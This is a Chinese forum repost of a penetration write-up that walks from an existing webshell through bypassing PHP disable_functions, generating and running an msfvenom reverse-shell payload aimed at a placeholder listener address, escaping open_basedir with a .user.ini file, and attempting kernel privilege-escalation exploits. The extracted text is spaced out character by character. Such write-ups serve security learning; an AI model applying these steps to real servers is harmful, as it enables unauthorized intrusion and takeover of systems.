搜索

[18314] 2021-03-16_disable_functions的绕过+目录突破+提权

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-03-16_disable_functions的绕过+目录突破+提权 d i s a b l e _ f u n c t i o n s 的 绕 过 + 目 录 突 破 + 提 权 W I I - F M   H A C K 之 道   2 0 2 1 - 0 3 - 1 6 0 x 0 0 正 常 的 操 作 拿 到 w e b s h e l l ， 在 虚 拟 终 端 里 输 入 命 令 都 没 有 反 应 在 p h p i n f o 里 找 到 d i s a b l e _ f u n c t i o n s 函 数 ， 发 现 很 多 命 令 都 被 禁 用 了 。 0 x 0 1 绕 过 绕 过 d i s a b l e _ f u n c t i o n s 在 这 里 一 开 始 使 用 了   L D _ P R E L O A D 绕 过 ， 发 现 报 错 了 。
然 后 使 用 蚁 剑 自 带 插 件 成 功 绕 过 。 然 后 到 t m p 目 录 查 找 看 看 ， 找 到 了 . s o c k 路 径 。
运 行 生 成 一 个 . a n t p r o x y . p h p 文 件 。 然 后 连 接 . a n t p r o x y . p h p 发 现 这 个 绕 过 只 有 一 会 的 时 间 就 会 被 断 开 ， 然 后 想 着 在 上 传 木 马 到 靶 机 ， 进 行 反 弹 s h e l l 。
0 x 0 2 进 行 反 弹 进 行 反 弹 s h e l l 使 用 m s f 生 成 木 马 ， 我 这 里 使 用 的 是 监 听 8 0 端 口 ， L H O S T 是 你 要 接 收 s h e l l 反 弹 回 来 的 I P ， - i   表 示 编 码 的 次 数 。 m s f v e n o m   - p   l i n u x / x 6 4 / s h e l l _ r e v e r s e _ t c p   - i   5   L H O S T = x . x . x . x   L P O R T = 8 0   - f   e l f   - o   / r o o t / s h e l l . e l f 然 后 直 接 把 . e l f 木 马 放 到 目 标 上 ， 在 突 破 d i s a b l e _ f u n c t i o n s 的 时 候 会 有 几 分 钟 的 时 间 可 以 输 入 命 令 。 在 自 己 接 收 反 弹 s h e l l 的 机 器 上 开 启 8 0 监 听 ， 然 后 直 接 运 行 木 马 进 行 反 弹 。 0 x 0 3 目 录 突 破 目 录 突 破 发 现 有 些 目 录 是 浏 览 不 了 的 。
在 s h e l l 目 录 下 新 建 . u s e r . i n i 文 件 添 加 o p e n _ b a s e d i r = : / 绕 过 p h p . i n i 的 全 局 限 制
可 以 访 问 了 。 0 x 0 4 提 权 提 权 查 看 l i n u x 内 核 版 本 大 于 等 于 2 . 6 . 2 2 ， 可 以 尝 试 C V E - 2 0 1 6 - 0 7 2 8   提 权 （ 网 上 有 很 多 相 关 的 文 章 ） 一 开 始 编 译 出 现 错 误 ， 然 后 修 改   P A T H
运 行 之 后 半 天 不 见 出 来 东 西 。 。 。 。 然 后 使 用 脏 牛 的 时 候 问 题 跟 上 面 一 样 。 不 懂 是 那 里 出 错 了 。 。 上 面 进 行 了 目 录 的 突 破 ， 然 后 我 们 可 以 使 用 b a s h 反 弹 。 找 到 文 件 写 入 b a s h 反 弹 语 句
端 口 监 听 时 候 发 现 也 是 没 有 得 到 想 要 的 。 e m m m m ， 在 这 里 卡 了 很 久 ， 然 后 人 家 说 中 间 换 了 v p s 。 — — — — — — — — — — — — — — — — 作 者 ： W I I - F M ， 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / k o n g _ f r e e / a r t i c l e / d e t a i l s / 1 0 6 8 9 1 1 7 9 ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ）
点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ” 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理